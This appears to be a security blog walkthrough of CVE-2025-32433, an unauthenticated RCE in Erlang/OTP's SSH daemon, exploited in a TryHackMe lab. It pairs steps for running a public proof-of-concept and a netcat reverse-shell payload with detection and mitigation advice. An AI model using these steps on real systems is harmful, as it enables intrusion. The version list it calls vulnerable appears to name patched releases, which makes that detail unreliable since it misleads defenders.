When people think of Erlang, they think of uptime — a language built for resilience, powering telecom systems, distributed databases, and scalable messaging platforms. But with CVE-2025-32433, we’re seeing what happens when the very features that make a system robust become its Achilles' heel.

This vulnerability is a serious unauthenticated remote code execution (RCE) issue in the SSH implementation of Erlang/OTP. With a perfect 10.0 CVSS score, this bug allows remote attackers to execute code without credentials or user interaction. It affects a broad range of systems, especially those built on high-availability Erlang infrastructure.

Let’s break it all down — not just how to exploit it, but how it works under the hood, what detection looks like, and how you can stay protected.

What Makes CVE-2025-32433 So Dangerous?

CVE-2025-32433 targets Erlang/OTP’s SSH daemon, which mishandles the SSH protocol's message structure during the pre-authentication phase. According to SSH standards, messages with identifiers >= 80 are meant to be sent after authentication. However, in this implementation, that restriction wasn’t enforced.

This means an attacker can send malicious messages before any login occurs — and get code execution if crafted properly.

In essence, this opens the door wide to anyone with network access to the SSH port.

Exploiting the Vulnerability – From Theory to Practice

To demonstrate the impact of this flaw, we used a TryHackMe environment set up to mimic a vulnerable Erlang/OTP deployment. This isn’t about solving a room — it’s about analyzing how this exploit behaves in a real network.

Step-by-Step Exploitation

1. Clone the public PoC:

   git clone https://github.com/ProDefense/CVE-2025-32433 cd CVE-2025-32433

2. Edit the target IP:

   Modify CVE-2025-32433.py with your target machine’s IP:

   HOST = "MACHINE_IP"
   PORT = 22 

3. Understand the payload:

   The exploit runs a basic command to create a file on the target system:

   file:write_file("/lab.txt", <<"pwned">>).
   

4. Launch the attack:

   python3 CVE-2025-32433.py
   

   If the server is vulnerable, you’ll get confirmation — and the file will be created, all without logging in.

Going Further: Proof of Full Command Execution

To validate the exploit more deeply, we modified the payload to exfiltrate data via netcat:

os:cmd("nc {{ip}} 4444 -e /bin/bash").

With a listener running on the attacker machine:

nc -lvp 4444

We confirmed that arbitrary command execution was achieved — with output delivered directly to us.

Detection Techniques

Network-Based Indicators

Because this exploit abuses pre-auth SSH messages, it often evades traditional server-side logs. But at the network layer, you can still spot it:

• Look for SSH_MSG_CHANNEL_REQUEST before authentication
• Payloads that invoke suspicious Erlang commands like file:write_file, os:cmd, etc.

Packet inspection tools such as Wireshark and IDS platforms like Suricata or FortiGate IPS can help here. Expect to find the payload in cleartext.

Host-Based Indicators

Once on the system, here’s what you can look for:

• Unusual files like /lab.txt or /tmp/* written recently
• Processes chained from SSH → shell → outbound connections
• Commands executed through os:cmd or unexpected usage of netcat, wget, etc.
• Audit logs showing shell spawns or file system writes from SSHD

Don’t forget to inspect cron jobs, systemd timers, and newly added persistence mechanisms.

Mitigation and Remediation

Patch immediately if your system is running one of the following vulnerable OTP versions:

• OTP-27.3.3
• OTP-26.2.5.11
• OTP-25.3.2.20

If patching isn’t possible, consider the following short-term mitigations:

• Disable SSH on Erlang/OTP services temporarily
• Restrict port 22 access using firewalls
• Segment internal networks and isolate exposed Erlang hosts

What Makes This CVE Unique

This isn’t a bug that needs advanced privilege chaining. There’s no brute force. No bypass.

It’s a clean, pre-auth RCE via a single malformed message — against a component that underpins fault-tolerant, real-time systems. That’s what makes it dangerous.

Final Thoughts

Whether you're red team or blue team, CVE-2025-32433 should be on your radar:

• It’s exploitable without auth
• It affects a widely used platform
• And it’s incredibly easy to detect and execute with minimal code

If you’re securing modern infrastructure, don’t overlook lesser-known stacks like Erlang. This CVE is a perfect reminder that even the most “mature” systems can hide critical flaws.